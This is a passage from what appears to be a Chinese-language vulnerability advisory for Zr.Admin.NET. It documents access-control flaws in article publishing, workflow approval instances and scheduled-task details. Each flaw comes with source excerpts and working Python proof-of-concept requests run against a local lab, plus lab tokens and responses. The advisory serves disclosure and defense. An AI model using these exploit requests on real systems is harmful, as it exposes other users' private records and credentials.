r = requests.put(f"{B}/front/article/changePublic", headers=low,
json={"cid": 1, "userId": 2, "isPublic": 1})
print("changePublic ->", r.status_code, r.text.strip())
changePublic -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
再次匿名读取,正文返回:
r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"cid": 1,
"title": "Q3 payroll review",
"content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
"userId": 1,
"status": null,
"editorType": null,
"tags": null,
"hits": 0,
"categoryId": 0,
"createTime": "2026-11-13 20:52:12",
"updateTime": null,
"authorName": "admin",
"coverUrl": null,
"categoryNav": null,
"tagList": [],
"isPublic": 1,
"abstractText": "CFO salary 480000, bank account 6222 0000 1111 2222",
"isTop": 0,
"articleType": 0,
"praiseNum": 0,
"commentNum": 0,
"shareNum": 0,
"coverImgList": [],
"position": "Reserved",
"isPraise": 0,
"topicId": 0,
"topicName": null,
"user": {
"avatar": null,
"nickName": "管理员",
"sex": 0
},
"auditStatus": 1,
"commentSwitch": 0
}
}
low1 随后把这篇属于管理员的文章置顶:
r = requests.put(f"{B}/front/article/top", headers=low, json={"cid": 1, "isTop": 1})
print("top ->", r.status_code, r.text.strip())
top -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
4. 越权读取其他人的审批单 (CVE-2026-129454)
| 简要描述: | 拥有账号的用户可以越权读取其他人的审批单,包括表单内容与审批记录。 |
|---|---|
| 影响版本: | 85cff6ae(2026-08-01)至 eb9228a2(2026-10-22) |
| 漏洞引入: | Zr.Admin.NET commit 85cff6ae |
| 前置条件: | 目标实例中存在其他人发起的审批单。 |
漏洞成因
WfFlowInstanceController.GetInfo 只标了 common:
// ZR.Workflow/Controllers/WfFlowInstanceController.cs:48-58 commit eb9228a230
/// <summary>
/// 实例详情
/// </summary>
[HttpGet("{instanceId}")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult GetInfo(long instanceId)
{
// viewerId=当前登录用户,用于详情页按节点字段权限过滤表单(申请人/历史实例全放开)
var viewerId = HttpContext.GetUId();
return SUCCESS(_service.GetInfo(instanceId, viewerId));
}
Service 按 InstanceId 取出实例,viewerId 只用于字段遮罩,不参与能否查看的判断:
// ZR.Workflow/Service/WfFlowInstanceService.cs:173-176 commit eb9228a230
public WfFlowInstanceDto GetInfo(long instanceId, long? viewerId = null)
{
var inst = Queryable().First(i => i.InstanceId == instanceId);
if (inst == null) return null;
ApplyFieldPermission 只决定字段是否只读或隐藏,不判断查看者是否有权打开该实例。实例不处于审批中时放开全部字段;处于审批中且当前节点未配置字段权限时,同样把 AllEditable 置为 true(WfFlowInstanceService.cs:488-493、:531-537)。该方法的部分实现如下:
// ZR.Workflow/Service/WfFlowInstanceService.cs:475-493 commit eb9228a230
private void ApplyFieldPermission(WfFlowInstanceDto dto, WfFlowInstance inst, long? viewerId)
{
if (inst == null || dto == null) return;
var view = new WfFieldPermissionView();
// 申请人本人 → 可编辑全部字段
if (viewerId.HasValue && inst.ApplyUserId.HasValue && inst.ApplyUserId.Value == viewerId.Value)
{
view.AllEditable = true;
dto.FieldPermissionView = view;
return;
}
// 非审批中实例 / 未传入查看者 → 历史直接放开(全可见只读)
if (!viewerId.HasValue || inst.Status != (int)WfInstanceStatus.Approval)
{
dto.FieldPermissionView = view;
return;
}
实例编号为自增主键,可顺序枚举。
复现环境搭建
沿用第 1 节的实验环境。workflow 模块已由 ModuleInit:Workflow 启用,每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。
复现过程
管理员创建流程定义并发起一张审批单:
import json, requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
flow = {"flowCode": "expense", "flowName": "Expense approval", "formType": 0, "designType": 2,
"status": 1, "isDraft": 0,
"formItems": json.dumps([{"field": "reason", "label": "Reason", "type": "input"},
{"field": "account", "label": "Bank account", "type": "input"}]),
"nodes": [{"nodeName": "Start", "nodeType": 0, "nodeOrder": 1},
{"nodeName": "Approve", "nodeType": 1, "approverType": 0, "approverId": "1",
"approverNames": "admin", "signType": 0, "nodeOrder": 2},
{"nodeName": "End", "nodeType": 3, "nodeOrder": 3}],
"nodeLinks": [{"sourceNodeId": 1, "targetNodeId": 2}, {"sourceNodeId": 2, "targetNodeId": 3}]}
r = requests.post(f"{B}/workflow/definition", headers=admin, json=flow)
print("admin POST /workflow/definition ->", r.status_code, r.json()["code"])
flows = requests.get(f"{B}/workflow/definition/list", headers=admin,
params={"pageNum": 1, "pageSize": 10}).json()["data"]["result"]
fid = [f["flowId"] for f in flows if f["flowCode"] == "expense"][0]
r = requests.post(f"{B}/workflow/instance/start", headers=admin, json={
"flowId": fid, "title": "Executive reimbursement",
"formContent": json.dumps({"reason": "Board trip",
"account": "6222 0000 1111 2222, password 9911"})})
print("admin POST /workflow/instance/start -> instanceId =", r.json()["data"])
输出如下:
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImZmNTU1ZjQyYTQ3ZTQwMzZiMzIxNjBjYjY5OGExMTg2XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzNzMsImV4cCI6MTc5NDY2MDc3MywiaWF0IjoxNzk0NTc0MzczLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.3DvU0I6XbLCeozY7gSYbPySv65FveQ7UTb5dU609Dnk
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNTVjNzYwYTBhZDk0NGRlYWE5MzI2ZTFjZDZmZDI5MWRcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0Mzc0LCJleHAiOjE3OTQ2NjA3NzQsImlhdCI6MTc5NDU3NDM3NCwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.aZlZJx-feWQMO4BWEVYDVajPsW1W9gsgifHngyjhuno
admin POST /workflow/definition -> 200 200 success
admin POST /workflow/instance/start -> instanceId = 1
low1 读取该实例:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/workflow/instance/1", headers=low)
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"instanceId": 1,
"flowId": 1,
"flowName": "Expense approval",
"businessKey": null,
"title": "Executive reimbursement",
"applyUser": "admin",
"applyNickName": "管理员",
"status": 0,
"currentNodeId": 2,
"currentNodeIds": "[2]",
"currentNodeName": "Approve",
"approvers": null,
"formContent": "{\"reason\": \"Board trip\", \"account\": \"6222 0000 1111 2222, password 9911\"}",
"fieldPermissionView": {
"allEditable": true,
"readonlyFields": [],
"hiddenFields": []
},
"attachment": null,
"attachmentParsed": "[]",
"lastUrgeTime": null,
"tasks": [
{
"taskId": 1,
"instanceId": 1,
"nodeId": 2,
"nodeName": "Approve",
"assignee": "admin",
"assigneeNickName": "管理员",
"assigneeId": 1,
"delegateId": null,
"delegateName": null,
"status": 0,
"opinion": null,
"action": null,
"taskType": 0,
"isRead": false,
"handleTime": null,
"title": null,
"applyUser": null,
"applyNickName": null,
"flowName": null,
"instanceStatus": 0,
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"records": [
{
"recordId": 1,
"taskId": null,
"instanceId": 1,
"nodeId": null,
"nodeName": null,
"title": null,
"flowName": null,
"applyUser": null,
"applyNickName": null,
"instanceStatus": 0,
"operator": "admin",
"operatorNickName": "管理员",
"action": 0,
"isRead": false,
"opinion": "发起申请",
"summary": null,
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"createBy": "admin",
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
}
low1 还能读取审批流水列表:
r = requests.get(f"{B}/workflow/record/list", headers=low, params={"pageNum": 1, "pageSize": 5})
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"pageSize": 5,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"recordId": 1,
"taskId": null,
"instanceId": 1,
"nodeId": null,
"nodeName": null,
"title": "Executive reimbursement",
"flowName": "Expense approval",
"applyUser": "admin",
"applyNickName": "管理员",
"instanceStatus": 0,
"operator": "admin",
"operatorNickName": "管理员",
"action": 0,
"isRead": false,
"opinion": "发起申请",
"summary": null,
"createBy": null,
"createTime": "2026-11-13 12:52:55",
"updateTime": null,
"remark": null
}
],
"extra": {}
}
}
5. 越权读取计划任务配置 (CVE-2026-129466)
| 简要描述: | 拥有账号的用户可以读取计划任务的完整配置,包括 SQL 任务里存放的语句。 |
|---|---|
| 影响版本: | 1845017b(2021-08-23)至 eb9228a2(2026-10-22) |
| 漏洞引入: | Zr.Admin.NET commit 1845017b |
| 前置条件: | 攻击者拥有一个账号。 |
漏洞成因
TasksController.Get 没有 [ActionPermissionFilter],登录之后即可调用:
// ZR.Admin.WebApi/Controllers/System/TasksController.cs:147-156 commit eb9228a230
/// <summary>
/// 查询单个计划任务
/// </summary>
/// <param name="id">编码</param>
/// <returns></returns>
[HttpGet("get")]
public IActionResult Get(string id)
{
if (!string.IsNullOrEmpty(id))
{
return SUCCESS(GetTaskById(id));
}
return SUCCESS(0);
}
同文件的列表、新增、修改、删除、执行动作都标了 monitor:job:* 权限(TasksController.cs:127、:164、:205、:250、:327),Get 是遗漏。GetTaskById 返回整行 SysTasks,字段包含 AssemblyName、ClassName、Cron、SqlText、JobParams。
复现环境搭建
沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。
复现过程
管理员创建一个 SQL 类型的计划任务并运行:
import requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/system/Tasks/create", headers=admin, json={
"name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "taskType": 3,
"assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute",
"sqlText": "select UserName,Password from sys_user where UserId=1"})
print("admin POST /system/Tasks/create ->", r.status_code, r.text.strip())
tasks = requests.get(f"{B}/system/Tasks/list", headers=admin,
params={"pageNum": 1, "pageSize": 20}).json()["data"]["result"]
tid = [t["id"] for t in tasks if t["name"] == "nightly-report"][0]
print("task id =", tid)
r = requests.get(f"{B}/system/Tasks/run", headers=admin, params={"id": tid})
print("admin GET /system/Tasks/run ->", r.status_code, r.text.strip())
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjQ5ZGQ3ODEyYjcyNTQzNmViY2M2NzkzZmU3NTIxYzcyXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ2NDI2NDUsImV4cCI6MTc5NDcyOTA0NSwiaWF0IjoxNzk0NjQyNjQ1LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.ule4XLd4hhfh5UvH2A6LaHYZieJCAMqp7sfimzREn_c
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNjQ2ZDJlOThhMGI1NGIyYWE3Y2E1NzMxNzAyZjE2NGZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NjQyNjQ2LCJleHAiOjE3OTQ3MjkwNDYsImlhdCI6MTc5NDY0MjY0NiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.8yNMns8KT4WIzTzP9BCc-rDwIzonPHUdtuEz7uGwGmY
admin POST /system/Tasks/create -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
task id = 2121511140147204096
admin GET /system/Tasks/run -> 200 {
"code": 200,
"msg": "运行计划任务:【nightly-report】成功"
}
low1 可以通过 GET /monitor/jobLog/list 读出任务 id:
time.sleep(3)
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/monitor/jobLog/list", headers=low, params={"pageNum": 1, "pageSize": 1})
print(r.status_code, r.text)
low1 GET /monitor/jobLog/list -> 200 {
"code": 200,
"msg": "success",
"data": {
"pageSize": 1,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"jobLogId": 1,
"jobId": "2121511140147204096",
"jobName": "nightly-report",
"jobGroup": "default",
"status": "0",
"exception": null,
"jobMessage": "success",
"invokeTarget": "SqlExecute",
"tenantId": "0",
"createTime": "2026-11-14 15:50:47",
"elapsed": 11.9025,
"serverName": null,
"operator": "admin",
"traceId": "0HNQ24FTTQPDN:00000001",
"isManual": 1,
"triggerSource": "manual"
}
],
"extra": {}
}
}
low1 按任务编号读取详情:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/system/Tasks/get", headers=low, params={"id": "2121511140147204096"})
print(r.status_code, r.text)
low1 GET /system/Tasks/get -> 200 {
"code": 200,
"msg": "success",
"data": {
"id": "2121511140147204096",
"name": "nightly-report",
"jobGroup": "default",
"cron": "0 0 2 * * ?",
"assemblyName": "ZR.Tasks",
"className": "TaskScheduler.Job_SqlExecute",
"runTimes": 1,
"beginTime": null,
"endTime": null,
"triggerType": 0,
"intervalSecond": 0,
"isStart": 0,
"jobParams": null,
"lastRunTime": "2026-11-14 15:50:47",
"lastSuccessTime": "2026-11-14 15:50:47",
"lastFailTime": null,
"lastRunStatus": "0",
"lastErrorMsg": null,
"tenantId": "0",
"apiUrl": null,
"taskType": 3,
"sqlText": "select UserName,Password from sys_user where UserId=1",
"requestMethod": null,
"createBy": "admin",
"createTime": "2026-11-14 07:50:46",
"updateTime": "2026-11-14 07:50:47",
"remark": null
}
}